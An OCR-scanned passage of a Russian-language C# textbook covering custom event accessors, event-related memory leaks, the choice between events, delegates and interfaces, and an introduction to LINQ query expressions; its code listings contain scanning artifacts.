458
Делегаты, лямбда-выражения и события ки ввода с помощью мыши, которые используют такие специализиро- ванные делегатные типы, как MouseButtenEventHandler, с сигнатурой, специфицирующей соответствующий специализированный аргумент события, который предоставляет сведения о событии. Например, тип MouseButtonEventArgs определяет метод GetPosition, сообщающий о том, где находилась мышь в момент щелчка по кнопке, а также ряд свойств, предоставляющих другие сведения, например, ClickCount и Timestamp. Какой бы специализированный тип ни использовался в качестве второго аргумента, он всегда будет производным от базового типа EventArgs. Этот базовый тип не представляет большого интереса — он не вводит никаких членов в дополнение к тем стандартным членам, что предоставляет тип object. Несмотря на это, он позволяет написать уни- версальный метод, прикрепляемый к любому событию, которое будет использовать данный шаблон. Правила совместимости делегатов под- разумевают, что даже если второй аргумент будет специфицирован в де- легатном типе как объект типа MouseButtonEventArgs, метод со вторым аргументом типа EventArgs окажется допустимой целью. Это бывает по- лезно для генерирования кода и других инфраструктурных сценариев. Однако главным преимуществом стандартного шаблона события йсе же является его общеизвестность — опытные программисты, пишущие на языке С#, обычно ожидают от события, что оно будет работать именно так, а не как-то иначе. Пользовательские методы добавления и удаления В некоторых случаях вы, вероятно, не захотите использовать реа- лизацию события по умолчанию, генерируемую компилятором С#. На- пример, класс может определять изрядное количество событий, большая часть которых не будет использоваться в большинстве экземпляров. Это обычно характерно для фреймворков пользовательского интерфейса. Пользовательский интерфейс WPF может содержать тысячи элемен- тов, каждый из них предлагает более ста событий, однако обычно обра- ботчики событий прикрепляются лишь к некоторым из этих элементов, и даже у них вы будете обрабатывать лишь малую толику предлагаемых событий. В таком случае неэффективно выделять в каждом элементе от- дельное поле для каждого доступного события. Использование основанной на полях реализации по умолчанию для больших количеств редко используемых событий может на сотни бай- тов увеличивать объем памяти, занимаемый каждым элементом поль- 459
Глава 9 зовательского интерфейса, что, в свою очередь, заметно скажется на производительности. (В случае фреймворка WPF объем занимаемой памяти может возрастать на сотни тысяч байт. Это не кажется таким большим объемом, если учесть, какими объемами памяти оперируют со( временные компьютеры, однако в результате ваш код, вероятно, уже не сможет эффективно использовать кэш процессора, что приведет к рез-а кому падению быстроты реагирования приложения. Даже если размер кэша составляет несколько мегабайт, самые быстрые его части обычна гораздо меньше, и расходование впустую нескольких сот килобайтов в критической структуре данных может привести к очень серьезному снижению производительности.) Другой повод для того, чтобы уклониться от использования реали- зации события, генерируемой компилятором по умолчанию, возникает в том случае, когда вам требуется более сложная семантика при запуске события. Например, фреймворк WPF поддерживает всплывание собы- тий: если элемент пользовательского интерфейса не обрабатывает опре- деленные события, эти события предлагаются родительскому элементу, затем его родительскому элементу и так далее вверх по дереву иерархии, пока не встретится обработчик либо не будет достигнута вершина. Хотя подобную схему можно реализовать и с помощью предоставляемой язы- ком C# стандартной реализации событий, если обработчики событий встречаются сравнительно редко, становятся возможными намного бо- лее эффективные стратегии. Чтобы поддержать эти сценарии, C# позволяет вам предоставлять для события собственные методы добавления и удаления. Внешне такое событие почти не отличается от обычного — тот, кто будет использовать ваш класс, по-прежнему сможет добавлять и удалять обработчики с по- мощью операторов += и -=, и не будет никаких признаков того, что ваш класс предоставляет пользовательскую реализацию. В листинге 9.44 по- казан пример класса с двумя событиями. Один словарь совместно ис- пользуется всеми экземплярами класса для отслеживания того, какие события обрабатываются для каких объектов. Этот подход можно рас- ширить на большее количество событий — в качестве ключей словарь использует пары объектов, поэтому каждая запись в нем представляет конкретную пару «источник-событие». (Следует отметить, что при мно- гопоточной обработке подобное небезопасно. Данный пример служит лишь для демонстрации того, как могут выглядеть пользовательские об- работчики событий, и не является полноценным, доведенным до конца решением.) 460
Делегаты, лямбда-выражения и события Листинг 9.44. Пользовательские методы добавления и удаления для редких событий public class ScarceEventSource { // Все экземпляры данного класса совместно используют один словарь, // отслеживающий все обработчики для всех событии. private static readonly Dictionary<Tuple<ScarceEventSource, object>, EventHandler> _eventHandlers = new Dictionary<Tuple<ScarceEventSource, object>, EventHandler>(); 11 Объекты, используемые как ключи для идентификации конкретных событии в словаре. private static readonly object EventOneld = new object(); private static readonly object EventTwoId = new object (); public event EventHandler EventOne { add { AddEvent(EventOneld, value); ) remove { RemoveEvent(EventOneld, value); } } iblic event EventHandler EventTwo ( add /{ AddEvent(EventTwoId, value); } remove { RemoveEvent(EventTwoId, value); } } public void RaiseBothO ( RaiseEvent (EventOneld, EventArgs. Empty);
Глава 9 RaiseEvent(EventTwoId, EventArgs.Empty); } private Tuple<ScarceEventSource, object> MakeKey(object eventld) { return Tuple.Create(this, eventld); ) private void AddEvent(object eventld, EventHandler handler) { var key = MakeKey(eventld); EventHandler entry; _eventHandlers.TryGetValue(key, out entry); entry handler; _eventHandlers[key] = entry; .} / private void RemoveEvent(object eventld, EventHandler handler) ( var key = MakeKey(eventld); EventHandler entry = _eventHandlers[key]; eptry -= handler; if (entry == null) ( _eventHandlers.Remove(key); } else { _eventHandlers[key] = entry; } ) private void RaiseEvent(object eventld, EventArgs e) { var key = MakeKey(eventld); EventHandler handler; if (_eventHandlers.TryGetValue(key, out handler)) { handler(this, e); } 462
Делегаты, лямбда-выражения и события Синтаксис пользовательских событий напоминает полный синтак- сис свойства: после объявления члена размещается блок с двумя члена- ми, которые, однако, обладают именами add и remove, а не get и set (в от- личие от свойств, эти методы всегда необходимо предоставлять в паре). Такая запись отменяет генерирование поля, которое бы событие содер- жало в обычном случае; таким образом, класс ScarceEventSource вообще не имеет экземплярных полей — экземпляры этого типа являются на- столько малыми, насколько это только возможно для объектов. Платой за уменьшение объема занимаемой памяти является суще- ственное возрастание сложности; мне пришлось написать примерно в 16 раз больше строк кода по сравнению с использованием событий, генерируемых компилятором. Мало того, данная техника обеспечивает улучшение производительности только для тех событий, которые дей- ствительно не обрабатываются большую часть времени — если бы я при- крепил обработчики к обоим событиям для каждого экземпляра данного класса, то хранение на базе словаря потребляло бы больше памяти, чем понадобилось бы, чтобы просто создать по одному полю для каждого события в каждом экземпляре класса. Так что подобную пользователь- скую обработку событий следует применять только в том случае, если вам требуется нестандартное поведение запуска событий, либо если вы абсолютно уверены в том, что это приведет к существенной экономии памяти. Событием сборщик мусора В том, что касается сборщика мусора, делегаты представляют со- бой обычные объекты, которые ничем не отличаются от любых других. Если сборщик мусора выявляет, что экземпляр делегата достижим, он просматривает свойство Target, и на какой бы объект ни ссылалось это свойство, он также считается достижимым, равно как и любые объекты, на которые, в свою очередь, он ссылается. В этом нет ничего удивитель- ного, однако в ряде случаев наличие у объектов неудаленных обработ- чиков событий может приводить к их удерживанию в памяти даже когда они, казалось бы, уже должны быть обнаружены сборщиком мусора. Делегаты и события не отличаются никакими особыми характери- стиками, которые могли бы создавать особые препятствия работе сбор- щика мусора. Если вы все же столкнетесь с утечкой памяти, связанной с использованием событий, она будет обладать той же структурой, что и любая другая утечка памяти в .NET-коде: начинаясь с корневой ссыл- 463
Глава 9 ки, где-то будет присутствовать цепь ссылок, из-за которой объект оста- нется достижимым даже после завершения работы с ним. Единствен1 ная причина, почему на события возлагается особая ответственностью утечки памяти, заключается в том, что они часто используются спосо бом, приводящим к проблемам. ! Например, допустим, что ваше приложение поддерживает некую объ ектную модель, которая представляет его состояние; причем код поль зовательского интерфейса находится в отдельном слое, использующее эту нижележащую модель, адаптируя содержащуюся в ней информация для представления на экране. Обычно такое разделение на слои являете! рекомендуемой практикой — лучше не смешивать между собой код, обе спечивающий взаимодействие с пользователем, и код, реализующий ло гику приложения. В то же время это может привести к проблемам в тот случае, если нижележащая модель сообщит обЛтзменениях в состоянии которые будет нужно отразить в пользовательском интерфейсе. Есл! о таких изменениях сообщается с помощью событий, код пользователь ского интерфейса обычно прикрепляет к ним обработчики. Теперь представим, что кто-то закрывает одно из окон вашего при ^ожения. Можно было бы ожидать, что все объекты, которые представ ляют пользовательский интерфейс этого окна, при следующем запуск! сборщика мусора окажутся выявлены как недостижимые. Фреймвор! пользовательского интерфейса, как правило, старается сделать так, что бы это было возможно. Например, фреймворк WPF гарантирует дости жимость каждого экземпляра его класса Window до тех пор, пока открыт! соответствующее окно, однако после закрытия окна он прекращает хра- нить любые ссылки на это окно, чтобы сборщик мусора мог собрать ва содержащиеся в нем объекты пользовательского интерфейса. Однако если вы обработаете событие из основной модели прило жения с помощью метода в классе, производном от класса Window, и hi удалите явно этот обработчик при закрытии окна, может воспоследо вать проблема. До тех пор пока ваше приложение работает, что-то где то, вероятно, будет поддерживать достижимость нижележащей модел! приложения. Это означает, что целевые объекты любых делегатов, кото рые содержит модель приложения (в том числе делегатов, добавлении] как обработчики событий), будут продолжать оставаться достижимы ми, что не даст сборщику мусора удалить их из памяти. Таким образом если представляющий уже закрытое окно объект класса, производноп от класса Window, будет по-прежнему обрабатывать события из модел! приложения, то это окно — вместе со всеми содержащимися в нем эле 464
Делегаты, лямбда-выражения и события ментами пользовательского интерфейса — останется достижимым и не будет удалено из памяти сборщиком мусора. Существует устойчивый миф о том, что такие связанные 4 ш с событиями утечки памяти имеют какое-то отношение к ци- клическим ссылкам. На самом деле циклические ссылки не представляют для сборщика мусора никаких проблем. Они действительно присутствуют в таких сценариях, но не явля- ются источником проблемы. Проблему вызывает то, что по завершении работы с объектами вы непреднамеренно остав- ляете их достижимыми; это приводит к проблемам вне зави- симости от наличия или отсутствия циклических ссылок. Для решения этой проблемы следует проследить за тем, чтобы каж- дый раз, когда слой пользовательского интерфейса прикрепляет обра- ботчик события к объекту с продолжительным временем жизни, этот обработчик удалялся по завершении использования соответствующе- го элемента. Еще один способ состоит в том, чтобы применять слабые ссылки и тем самым гарантировать, что если источник события окажет- ся единственным объектом, содержащим ссылку на цель, она не будет удерживаться в памяти. В этом способен помочь фреймворк WPF — он предоставляет класс WeakEventManager, который позволяет обрабатывать событие таким образом, что выполняющий обработку объект может быть удален сборщиком мусора без необходимости отменять подписку на событие. Фреймворк WPF сам прибегает к этой технике, когда вы- полняет привязку пользовательского интерфейса к источнику данных, который предоставляет события уведомления об изменении свойств. Хотя связанные с событиями утечки памяти часто возникают * ш именно в пользовательском интерфейсе, они способны воз- Яу никать где угодно. До тех пор, пока источник события остается достижимым, достижимы и все прикрепленные к нему обра- ботчики. События в сравнении с делегатами Некоторые API-интерфейсы предоставляют уведомления посред- ством событий, в то время как другие используют делегаты напрямую. Как же при этом решить, какой подход лучше? В ряде случаев выбор 465
Глава 9 будет сделан за вас — по той причине, что вы захотите поддержать не- которую конкретную идиому. Например, если вы захотите, чтобы ваш API-интерфейс поддерживал новые асинхронные возможности языка С#, вам потребуется реализовать шаблон из главы 18, предписываю- щий принятие делегата в качестве аргумента метода. События, с другой стороны, предоставляют очевидный способ подписки и ее отмены, что делает их более предпочтительным выбором в некоторых ситуациях. (Нужно отметить, что описываемые в главе 11 реактивные расширения^ также предоставляют модель подписки и в более сложных сценариях могут выглядеть предпочтительнее.) Следующее, что следует принять во внимание, — это соглашения: при создании элемента пользователь-) ского интерфейса, вероятно, лучше использовать события, поскольку это преобладающая идиома. В тех случаях, когда ограничения или соглашения не дают ответа, следует подумать о том, как планируется использовать обратный вызов. Если у вас будет несколько подписчиков на уведомление, то, вероятно, лучший выбор — это событие (что, впрочем, вовсе не обязательно, по- скольку многоадресное поведение поддерживают все делегаты, однако по соглашению это поведение обычно предлагается посредством собы- тий). Если пользователям класса в определенный момент необходимо будет удалить обработчик, события также окажутся хорошим выбором. В то же время следует отметить, что если вам потребуется более продви- нутая функциональность, возможно, лучше будет выбрать интерфейс IObservable<T>. Он входит в состав реактивных расширений для .NET, которые мы рассмотрим в главе 11. Обычно делегат передается как аргумент методу или конструктору только в том случае, когда целесообразно использовать один целевой метод. Скажем, если делегатный тип обладает возвращаемым значением с типом, отличным от void, и API-интерфейс полагается на это значение (как, например, в случае значения типа bool, которое возвращается пре- дикатом, передаваемым методу Array.FindAll), то нет смысла ни в не- скольких целях, ни в отсутствии цели. В таком случае событие будет неподходящей идиомой, поскольку для ориентированной на подписку модели вполне приемлемо, когда к событию прикрепляется несколько обработчиков или обработчики не прикрепляются вообще. Иногда имеет смысл, чтобы либо обработчики вообще отсутствова- ли, либо был только один. Например, класс Collectionview фреймворка WPF может сортировать, группировать и фильтровать данные из кол- 466
Делегаты, лямбда-выражения и события лекции. Фильтрация настраивается путем предоставления объекта типа Predicatecob ject>. Поскольку фильтрация является опциональной воз- можностью, данный объект не передается как аргумент конструктора; вместо этого класс определяет свойство Filter. Событие было бы здесь неподходящим выбором, отчасти потому, что тип Predicatecobject> не вписывается в обычный шаблон делегата события, но главным образом из-за того, что классу требуется однозначный ответ «да» или «нет», и, со- ответственно, он не нуждается в поддержке нескольких целей. (Конеч- но, тот факт, что все делегатные типы поддерживают многоадресность, означает, что у вас по-прежнему остается возможность предоставить не- сколько целей. Но решение использовать свойство, а не событие в дан- ном случае сигнализирует, что в предоставлении нескольких обратных вызовов будет мало пользы.) Делегаты в сравнении с интерфейсами В начале этой главы я упомянул, что делегаты предлагают механизм для обратных вызовов и уведомлений, менее громоздкий по сравнению с интерфейсами. Почему же в таком случае некоторые API-интерфейсы требуют, чтобы для обеспечения возможности применения обратных вызовов вызывающая их программа реализовывала интерфейс? Почему вместо интерфейса IComparer<T> не используется делегат? В действи- тельности используется и то, и другое — существует делегатный тип с именем Comparison<T>, который в качестве альтернативы поддержива- ют многие из API-интерфейсов, принимающих тип IComparer<T>. Мас- сивы и ти/ List<T> обладают перегруженными версиями метода Sort, принимающими оба этих типа. В некоторых ситуациях объектно-ориентированный подход может выглядеть предпочтительнее, чем использование делегатов. Объект, ре- ализующий интерфейс IComparer<T>, может предоставить свойства для настройки способа осуществления сравнения (например, путем выбо- ра другого критерия сортировки). Возможно, вам потребуется собрать и подытожить информацию в пределах нескольких обратных вызовов, и хотя такое можно сделать, используя захваченные переменные, полу- чить эту информацию, очевидно, легче, если она доступна через свой- ства объекта. В действительности решение должен принимать тот, кто создает вызываемый с помощью обратного вызова код, а не создатель кода, вы- 467
Глава 9 полняющего такой вызов. Делегаты, в конечном счете, обеспечивают ббльшую гибкость, поскольку дают возможность пользователю API- интерфейса выбрать, каким образом ему структурировать код, в то вре- мя как интерфейс накладывает ограничения. Однако если интерфейс будет соответствовать нужным вам абстракциям, делегаты могут по- казаться раздражающей лишней деталью. Именно поэтому некоторые API-интерфейсы предлагают обе возможности, как, например, дела- ют API-интерфейсы сортировки, которые способны принимать и тип IComparer<T>, и тип Comparison<T>. Одним из случаев, когда интерфейсы могут выглядеть предпочти- тельнее делегатов, является ситуация, когда необходимо предоставит1| несколько связанных обратных вызовов. Реактивные расширения д.т| .NET определяют абстракцию для уведомлений, которая включает воз- можность узнать, когда будет достигнут конец порледовательности сот бытий или когда случится ошибка, потому в данной модели подписчик^ реализуют интерфейс с тремя методами — OnNext, OnCompleted и OnError При этом целесообразно использовать интерфейс, поскольку для пол- ноценной подписки обычно требуются все три метода. резюме Делегаты — это объекты, предоставляющие ссылку на метод, кото- рый может быть как статическим, так и экземплярным. В случае экзем- плярного метода делегат также содержит ссылку на целевой объект, что- бы избавить вызывающий делегат код от необходимости предоставлял^ цель. Делегаты также могут ссылаться на несколько методов, однако это усложняет дело, когда возвращаемый тип делегата отличен от void Среда CLR обращается с делегатными типами особым образом, но в то же время они являются обычными ссылочными типами. Это означает, что ссылка на делегат может передаваться как аргумент, возвращаться из метода и сохраняться в поле, переменной или свойстве. Делегатный тип определяет сигнатуру целевого метода. Хотя в действительности целевой метод представлен методом Invoke делегатного типа, C# может скрывать этот метод, предлагая синтаксис, который позволяет вызывать выражение делегата напрямую, не ссылаясь на метод Invoke явно. Вы можете сконструировать делегат, ссылающийся на любой метод с со- вместимой сигнатурой. При этом C# способен сделать значительную 468
Делегаты, лямбда-выражения и события часть работы за вас — если вы запишете встроенный метод, компилятор сам предоставит подходящее объявление и, помимо этого, выполнит за- кулисную работу, делающую переменные вмещающего метода доступ- ными внутреннему методу. Делегаты являются основой для событий, которые предоставляют формализованную модель публикации/подпи- ски для уведомлений. Одним из элементов языка С#, особенно интенсивно использующих делегаты, является технология LINQ, которой посвящена следующая глава.
Глава 10 LINQ Технология LINQ (Language Integrated Query, язык интегрирован- ных запросов) представляет собой мощный набор инструментов для ра- боты с наборами информации в С#. Она будет полезна в любом прило- жении, которому приходится манипулировать множеством фрагментов данных (то есть почти в любом приложении). Хотя одной из первооче- редных целей создания этой технологии было предоставить простой до- ступ к реляционным базам данных, она применима ко многим видам ин- формации. Например, ее можно использовать в случае ^размещаемыми в памяти объектными моделями, с информационными службами на базе протокола HTTP и XML-документами. Технология LINQ не представляет собой некоторую одну возмож- ность; она полагается на несколько элементов языка, работающих со- вместно. Наиболее заметная LINQ-возможность языка — выражение запроса форма выражения, являющаяся приблизительным аналогом запроса к базе данных, но используемая для выполнения запросов к лю- бым поддерживаемым источникам, включая простые объекты. Как вы вскоре увидите, выражения запросов во многом полагаются на некото- рые другие возможности языка, такие как лямбда-выражения, методы расширения и объектные модели выражений. Однако поддержка на уровне языка — это еще не все. Технология LINQ нуждается в библиотеках классов для реализации стандартно- го набора примитивов запросов, называемых LINQ-операторами. Для каждого вида данных необходимо использовать свою реализацию, и на- бор операторов для любого конкретного типа информации называют LINQ-провайдером. (Кстати говоря, LINQ-провайдеры также могут ис- пользоваться из языков Visual Basic и F#, поскольку те тоже поддержи- вают LINQ.) Библиотека классов .NET Framework предлагает несколь- ко встроенных провайдеров, включая провайдер для работы напрямую с объектами (который называется LINQ to Objects) и два провайдера для работы с базами данных (LINQ to SQL, предназначенный специ- ально для приложения SQL Server, и более сложный, но в то же вре- 470
UNQ мя и более универсальный провайдер LINQ to Entities). Клиентская библиотека служб данных WCF Data Services для использования веб- служб на базе протокола OData тоже предлагает свой LINQ-провайдер. Одним словом, LINQ-провайдер является широко поддерживаемой в .NET идиомой, которая к тому же расширяема, поэтому также можно встретить различные сторонние провайдеры, в том числе с открытым исходным кодом. В большинстве примеров этой главы используется провайдер LINQ to Objects. Отчасти так сделано потому, что он не загромождает код не относящимися к делу деталями, такими как подключение к базе дан- ных или службе; однако есть и более веская причина. После введения технологии LINQ в 2007 году я в значительной мере пересмотрел свой подход к написанию кода на С#, и поводом к этому стал исключитель- но провайдер LINQ to Objects. Несмотря на то что синтаксис техно- логии LINQ производит такое впечатление, что она предназначена преимущественно для доступа к данным, как я обнаружил, ома пред- ставляет гораздо большую ценность. Тот факт, что службы технологии LINQ доступны для любой коллекции объектов, делает ее повсеместно- полезной. Выражения запросов Наиболее заметной частью технологии LINQ является синтаксис выражений запросов. Это не самый важный ее элемент — как мы увидим позже, продуктивное использование LINQ возможно и без написания выражений запросов. Однако этот синтаксис является очень естествен- ным для многих видов запросов и потому играет заметную роль, несмо- тря на то что формально опционален. На первый взгляд, выражение запросов является приблизитель- ным аналогом запроса к базе данных, однако этот синтаксис работает с любым LINQ-провайдером. В листинге 10.1 представлено выражение запроса, использующее провайдер LINQ to Objects для поиска опреде- ленных объектов Cultureinfo. (Объект Cultureinfo предоставляет набор данных, специфичных для языка, и региональных параметров, таких как символ для обозначения валюты, используемый язык и т. д. В не- которых системах такие данные называются локалью.) Этот конкретный запрос ищет символ, используемый в качестве десятичного разделите- ля. Во многих странах в качестве такового применяется запятая; так, ЮС, ООО при этом означает число 100 с тремя знаками после запятой; 471
Глава 10 в англоязычных странах в качестве разделителя используется точка и то же число будет записано как 100.000. Данное выражение запрос^ ищет все лзвестные системе культуры и возвращает те из них, которые применяют в качестве десятичного разделителя запятую. Листинг 10.1. Выражение LINQ-запроса ' IEnumerable<CultureInfo> comnaCultures ~ from culture in Cui turelnf о. GetCultures (Cui tureTypes. AllCultures) where culture.NumberFormat.NumberDecimalSeparator = " select culture; foreach (Cultureinfo culture in commaCultures) ( ; Console.WriteLine(culture.Name); } Цикл foreach в данном примере выводит рез/льтаты запроса. На моем компьютере он вывел названия 187 культур — это говорит о том что запятую использует чуть более половины из 354 доступных куль- тур. Конечно, подобного результата можно было бы легко добиться, и ш используя LINQ. Код, представленный в листинге 10.2, выводит тот ж( результат. Листинг 10.2. Эквивалентный код, не использующий LINQ Cultureinfo[] allCultures = Culturelnfо.GetCultures(CultureTypes. AllCultures); 1 foreach (Cultureinfo culture in allCultures) { ' if (culture.NumberFormat.NumberDecimalSeparator == ”,") ( Console.WriteLine(culture.Name); } } ' Хотя в обоих примерах по восемь непустых строк кода — если н( считать те, где только фигурные скобки, то листинг 10.2 содержит толь- ко четыре строки кода, то есть на две строки меньше, чем листинг 10.1 Однако если мы посчитаем инструкции, то обнаружим, что пример использующий LINQ, содержит всего три, в то время как пример с ци- клом — четыре. Таким образом, явных аргументов, что тот или иной под- ход проще другого, у нас нет. 472
LINQ Однако пример, представленный в листинге 10.1, обладает, по мень- шей мере, одним важным преимуществом: код, который решает, какие элементы нужно выбрать, в нем хорошо отделен от кода, решающего, «по делать с этими элементами. Пример в листинге 10.2 не может похва- статься двумя названными достоинствами: код, отбирающий объекты, находится частично снаружи, частично внутри цикла. Другое отличие состоит в том, что пример из листинга 10.1 придер- живается более декларативного стиля: он фокусируется на том, что нам нужно, а не том, как это получить. Выражение запроса описывает нуж- ные нам элементы, не требуя, чтобы они были получены каким-либо особым образом. Хотя для приведенного простого примера это не игра- ет большой роли, в более сложных ситуациях, особенно при использо- вании LINQ-провайдера для доступа к базам данных, иногда очень по- лезно предоставить провайдеру полную свободу относительно того, как именно выполнять запрос. В таком случае лучше не использовать под- ход, показанный в листинге 10.2, который состоит в том, чтобы выбрать нужный элемент, выполняя итерацию по коллекции с помощью цикла foreach — обычно лучше позволить базе данных произвести фильтра- цию самой. Представленный в листинге 10.1 запрос состоит из трех частей. Он начинается, как это должны делать все выражения запросов, с from, специфицирующего источник запроса. В данном случае источником яв- ляется массив типа GUltureInfo[], возвращаемый методом GetCultures класса Cultureinfo. Наряду с определением источника для запроса выражение from специфицирует имя, в примере — culture, так называемой переменной диапазона, которую мы можем использовать в остальной части запроса для представления одного элемента из источника. Выражения в запросе могут выполняться многократно — так, в листинге 10.1 выражение where выполняется для каждого элемента коллекции, потому переменная диа- пазона каждый раз содержит новое значение. Это напоминает исполь- зование переменной итерации в цикле foreach. И действительно, у вы- ражения from сходная общая структура — вначале стоит переменная, которая будет представлять элемент коллекции, затем ключевое слово in, и затем источник, чьи отдельные элементы будет представлять дан- ная переменная. И совершенно так же, как переменная итерации цикла foreach находится в области видимости только внутри цикла, перемен- ная диапазона culture имеет смысл только внутри выражения запроса. 473
Глава 10 “ Хотя аналогия с циклом foreach может быть полезной для по . нимания цели LINQ-запросов, ее не следует воспринимав В?' слишком буквально. Например, не все LINQ-провайдеры вь£ полняют выражения запросов напрямую; некоторые из н4 преобразуют их в запросы к базам данных, и в этом случай С#-код различных выражений внутри запроса не выполняете! в общепринятом смысле. Таким образом, несмотря наточт| утверждение «переменная диапазона представляет одно знак чение из источника» верно, не всегда будет верным утвер4 дение, что выражения в запросе выполняются по одному раз| для каждого обрабатываемого ими элемента, и переменна! диапазона принимает значение для этого элемента. Сказав ное истинно в листинге 10.1, потому что там используете^ провайдер LINQ to Objects, но с другими провайдерами делу может обстоять иначе. z < / I Вторую часть запроса в листинге 10.1 составляет выражение wheri Оно не является обязательным; кроме того, при желании можно вклкй чить несколько таких выражений в один запрос. Выражение where филь трует результаты; так, в данном примере оно утверждает, что мне нужнй только объекты Cultureinfo, свойство NumberFormat которых указывает в качестве десятичного разделителя запятую. Последней частью данного запроса является выражение select, и вс! выражения запроса заканчиваются либо им, либо выражением group: Оно определяет окончательный результат запроса. В данном пример! выражение select указывает, что нам нужен каждый объект Cultureinfo, который не был отсеян запросом. Поскольку цикл foreach, выводящий результаты запроса в листинге 10.1, задействует только свойство Name, мы могли бы использовать запрос, извлекающий только это свойства Как показывает листинг 10.3, если мы так сделаем, потребуется внести изменения и в цикл, поскольку вместо объектов Cultureinfo запрос те* перь будет выдавать строки. Листинг 10.3. Запрос для извлечения только одного свойства IEnumerable<string> commaCultures = from culture in Cultureinfo.GetCultures(CultureTypes.AllCultures) where culture.NumberFormat.NumberDecimalSeparator == select culture.Name; foreach (string cultureName in commaCultures) 474
UNQ { Console.WriteLine (cultureName); ) При этом вот что интересно: каким типом обычно обладают вы- ражения запросов? В листинге 10.1 переменная commaCultures при- надлежит к типу IEnumerable<CultureInfo>, в листинге 10.3 — к типу IEnumerable<string>. Тип выходных элементов определяется последним выражением в запросе — выражением select или в некоторых случаях group. Однако не у всех выражений запросов результат относится к типу IEnumerable<T>; это зависит от используемого LINQ-провайдера. В при- веденных выше примерах я получил результат типа IEnumerable<T>, по- тому что использовал провайдер LINQ to Objects. Очень распространенная практика состоит в том, чтобы объя- * вить переменную для хранения LINQ-запроса, используя клю- Uv чевое слово var. Это необходимо, когда выражение select вы- дает экземпляры анонимного типа, поскольку в таком случае нет возможности записать имя типа полученного в результате запроса. Однако ключевое слово var широко испойьзуется даже в том случае, если в деле не замешаны анонимные типы, и тому есть две причины. В качестве первого довода высту- пают простые соображения единообразия: кто-то из разра- ботчиков считает, что раз уж ключевое слово var необходимо использовать для некоторых LINQ-запросов, его следует при- менять и для всех остальных запросов. Немного более веский довод/состоит в том, что у типов LINQ-запросов зачастую очень длинные и неблагозвучные имена, потому var позволя- ет создавать менее громоздкий код. Лично я отдаю некоторое преимущество этому ключевому слову именно по второй при- чине, однако всегда указываю тип явно, если считаю, что сде- лаю код поле понятным. Как же компилятор C# узнал, что мне нужен провайдер LINQ to Objects? На это ему указывает то, что в выражении from я исполь- зую в качестве источника массив. В общем случае провайдер LINQ to Objects применяется тогда, когда в качестве источника указывается тип IEr.umerable<T>, если только не доступен более специализированный провайдер. Однако это не очень-то объясняет, как прежде, всего ком- пилятор C# выявляет наличие провайдеров, и как осуществляет выбор между ними. Чтобы понимать это, вы должны знать, что компилятор де- лает с выражением запроса. 475
Глава 10 Выражения запросов в развернутом виде Лц>бое выражение запроса компилятор преобразует в один или не- сколько вызовов методов. После этого выбирается провайдер с исполь- зованием в точности тех же механизмов, что и для любого другого вы- зова метода в С#. У компилятора нет никакой встроенной концепции относительно того, что представляет собой LINQ-провайдер, поэтому он полагается на соглашение. Листинг 10.4 демонстрирует, что делает компилятор с выражением запроса, представленным в листинге 10.3. Листинг 10.4. Результат записи выражения запроса IEnumerable<string> commaCultures = Cultureinfo.GetCultures(CultureTypes.AllCultures) .Where(culture => culture.NumberFormat.NumberDecimalSeparator .Select(culture => culture.Name); il r Методы Where и Select представляют собой примеры LIN( операторов. LINQ-оператор — просто метод, который соответствуй одному из стандартных шаблонов. Они описываются далее в этой глав в разделе «Стандартные LINQ-операторы». Весь код в листинге 10.4 представляет собой одну инструкцию; пр этом вызовы методов соединены в цепочку — метод Where вызываете для возвращаемого значения метода GetCultures, а метод Select - дл возвращаемого значения метода Where. Поскольку данный код не пом( щается целиком в одной строке, я использую немного необычное фо] матирование; хотя это выглядит не особенно элегантно, но, разбива цепочку вызовов на несколько строк, я предпочитаю ставить . в начал новой строки, поскольку это позволяет легко заметить, что она являете продолжением предыдущей. Хотя размещение точки в конце предыд) щей строки выглядит аккуратнее, при этом можно понять код непр ВИЛЬНО. Выражения where и select компилятор преобразовал в лямбд выражения. Заметьте, что переменная диапазона передается как аргу мент каждому лямбда-выражению. Это еще один довод в пользу топ что аналогию между выражениями запросов и циклами foreach не сд дует воспринимать слишком буквально. В отличие от переменной ите рации в цикле foreach, переменная диапазона не существует как одн обычная переменная. В запросе это просто идентификатор, представил 476
LINQ ющий элемент из источника; когда же запрос развертывается в вызовы методов, для одной переменной диапазона может быть создано несколь- ко реальных переменных, подобно тому как в данном случае были пере- даны аргументы двум отдельным лямбда-выражениям. Любое выражение запроса в итоге преобразуется в такую цепочку вызовов методов с лямбда-выражениями. (Именно поэтому не обяза- тельно применять синтаксис выражения запроса — любой запрос можно записать, используя вместо этого вызовы методов.) Некоторые цепочки более сложнее, чем другие. Выражение из листинга 10.1 дает в резуль- тате более простую структуру, несмотря на то что выглядит почти так же, как выражение из листинга 10.3. Его развернутый вид представлен в листинге 10.5. Оказывается, когда выражение select в запросе про- сто напрямую передает переменную диапазона, компилятор решает, что*, мы хотим передать результаты предыдущего выражения в запросе без какой-либо дополнительной обработки; соответственно, он не добав- ляет вызов метода Select. (Из этого правила существует исключение: если записать выражение запроса, содержащее только выражения from и select, компилятор сгенерирует вызов метода Select, даже если вы- ражение select будет тривиальным.) , Листинг 10.5. Тривиальное выражение select в развернутом виде IEnumerable<CultureInfo> conunaCultures = Cultureinfo.GetCultures(CultureTypes.AllCultures) .Where (culture => culture.NumberFormat.NumberDecimalSeparator == f Компилятору придется потрудиться немного больше, если вы вве- дете несколько переменных в области видимости запроса. Это можно сделать с помощью выражения let. В листинге 10.6 выполняется та же работа, что и в листинге 10.3, с тем отличием, что я ввел здесь допол- нительную переменную numFormat для ссылки на формат представления чисел. Это позволило мне сделать более коротким и читабельным выра- жение where, и в более сложном запросе, требующем многократного об- ращения к этому объекту формата, такая техника могла бы существенно сократить код в объеме. Листинг 10.6. Запрос с выражением let IBhumerable<string> conunaCultures = from culture in 477
